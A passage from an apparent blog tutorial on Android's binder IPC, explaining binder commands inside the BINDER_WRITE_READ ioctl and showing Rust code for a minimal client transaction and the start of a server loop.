&lt;p&gt;When making a RPC, binder &lt;a href="https://source.android.com/docs/core/architecture/ipc/binder-overview"&gt;refers to&lt;/a&gt; the process making the call as the &lt;em&gt;client&lt;/em&gt; and the process handling the call as the &lt;em&gt;server&lt;/em&gt;. These client and server roles change if the (initial) server goes on to make a further RPC, called a &lt;a href="https://source.android.com/docs/core/architecture/ipc/binder-threading#nested"&gt;nested transaction&lt;/a&gt;. The initial server can even make a RPC back to the initial client. Contrast this with a "networking" architecture (e.g. HTTP) where "server" and "client" are much more clearly distinct roles at a process level rather than at a transaction level.&lt;/p&gt;
&lt;p&gt;For our simple demonstration, we will make one program that only ever acts as a server and a second program that makes one request (acting as a client) and then exits. This wouldn't work properly in the general case for something like Android, but it is enough to explore the principles.&lt;/p&gt;
&lt;p&gt;In order for the binder driver to actually send us requests, we need to send the driver the &lt;code&gt;BC_ENTER_LOOPER&lt;/code&gt; command, which… isn't an &lt;code&gt;ioctl&lt;/code&gt;, even though it looks like one. The reason this command is necessary is because binder knows about (and somewhat controls, see &lt;code&gt;BR_SPAWN_LOOPER&lt;/code&gt;) process thread pools as part of its scheduling tricks. If binder does not know that our server process is ready to handle requests, it won't deliver any to the process.&lt;/p&gt;
&lt;h2&gt;Turtles all the way down (binder commands)&lt;/h2&gt;
&lt;p&gt;Binder &lt;em&gt;commands&lt;/em&gt; are sent inside a &lt;code&gt;BINDER_WRITE_READ&lt;/code&gt; &lt;em&gt;ioctl&lt;/em&gt;. This allows multiple commands to be sent (and multiple replies to be received) in a single system call, which reduces the overhead of switching between user and kernel mode.&lt;/p&gt;
&lt;p&gt;Confusingly, even though commands look &lt;em&gt;exactly like&lt;/em&gt; ioctls (using the same &lt;code&gt;_IO*&lt;/code&gt; macros), they are &lt;em&gt;not&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;The payload for the &lt;code&gt;BINDER_WRITE_READ&lt;/code&gt; &lt;em&gt;ioctl&lt;/em&gt; is a &lt;code&gt;struct binder_write_read&lt;/code&gt; which contains pointers to two byte buffers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;binder_write_read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;binder_size_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;write_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* bytes to write */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;binder_size_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;write_consumed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* bytes consumed by driver */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;binder_uintptr_t&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;write_buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;binder_size_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;read_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* bytes to read */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;binder_size_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;read_consumed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* bytes consumed by driver */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;binder_uintptr_t&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;read_buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Commands and returned data are packed (&lt;em&gt;serialized&lt;/em&gt;) into these buffers. They consist of a 32-bit number (a member of either the &lt;code&gt;binder_driver_command_protocol&lt;/code&gt; or &lt;code&gt;binder_driver_return_protocol&lt;/code&gt; enum) followed by the payload data as indicated by the &lt;code&gt;_IO*&lt;/code&gt; constants. Note that this will not necessarily have the proper alignment for the struct!&lt;/p&gt;
&lt;p&gt;This is probably best explained with an example. To send the &lt;code&gt;BC_ENTER_LOOPER&lt;/code&gt; command, the data looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/binder-enter-looper.svg" alt="Hand-drawn diagram of the BC_ENTER_LOOPER ioctl" class="needsbg" style="padding: 8px"&gt;&lt;/p&gt;
&lt;p&gt;In this case, there is only one command and no payload, so the entire buffer is 32 bits or 4 bytes.&lt;/p&gt;
&lt;h1&gt;Making a client RPC request&lt;/h1&gt;
&lt;p&gt;At this point, we have a basic server that would be sent requests (even though it currently doesn't know how to reply). We will now skip over to working on a client.&lt;/p&gt;
&lt;p&gt;A client will need to open a binder device and call &lt;code&gt;mmap&lt;/code&gt; just like the server, but then it can issue a &lt;code&gt;BC_TRANSACTION&lt;/code&gt; command. Clients do not need to send &lt;code&gt;BC_ENTER_LOOPER&lt;/code&gt;. In the serialized buffer, this command is followed by a &lt;code&gt;struct binder_transaction_data&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Inside this struct, &lt;code&gt;target.handle&lt;/code&gt; is set to 0 in order to communicate with the context manager. &lt;code&gt;code&lt;/code&gt; contains the function to be executed (which can be any number the client and server agree upon). Finally, &lt;code&gt;buffer&lt;/code&gt; points to the data to be transferred, and &lt;code&gt;data_size&lt;/code&gt; is its size (&lt;code&gt;offsets&lt;/code&gt; will be explained later).&lt;/p&gt;
&lt;p&gt;To send a transaction, our example code does this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datadatadata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;b&amp;quot;Hello world!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;txn_data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_transaction_data&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;txn_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12345&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;txn_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datadatadata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_ptr&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;c_void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;txn_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datadatadata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="k"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;mem&lt;/span&gt;::&lt;span class="n"&gt;size_of&lt;/span&gt;::&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;binder_transaction_data&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;BC_TRANSACTION&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_ne_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txn_data&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;binder_write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binder_fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As a diagram, this looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/binder-client.svg" alt="Hand-drawn diagram of the BC_TRANSACTION ioctl" class="needsbg" style="padding: 8px"&gt;&lt;/p&gt;
&lt;p&gt;Notice that the &lt;code&gt;binder_transaction_data&lt;/code&gt; has an alignment of 8 bytes, but it is packed, unaligned, at an offset of +4 bytes into the buffer!&lt;/p&gt;
&lt;p&gt;Finally, we wait for a reply, print it out, and then exit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;outer&lt;/span&gt;: &lt;span class="nc"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binder_fd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_slice&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;u32&lt;/span&gt;::&lt;span class="n"&gt;from_ne_bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;BR_NOOP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;BR_NOOP&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;BR_TRANSACTION_COMPLETE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;BR_TRANSACTION_COMPLETE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;BR_REPLY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;BR_REPLY&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_rdata&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_transaction_data&lt;/span&gt;::&lt;span class="n"&gt;try_from_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_rdata&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;{:#x?}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;&amp;#39;outer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Unknown reply 0x{:08x}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rep&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;Implementing the server&lt;/h1&gt;
&lt;p&gt;On the server, we need a similar loop to handle requests:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binder_fd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_slice&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;u32&lt;/span&gt;::&lt;span class="n"&gt;from_ne_bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;BR_NOOP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;BR_NOOP&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;BR_TRANSACTION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;BR_TRANSACTION&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;txn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_rdata&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_transaction_data&lt;/span&gt;::&lt;span class="n"&gt;try_from_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdata&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
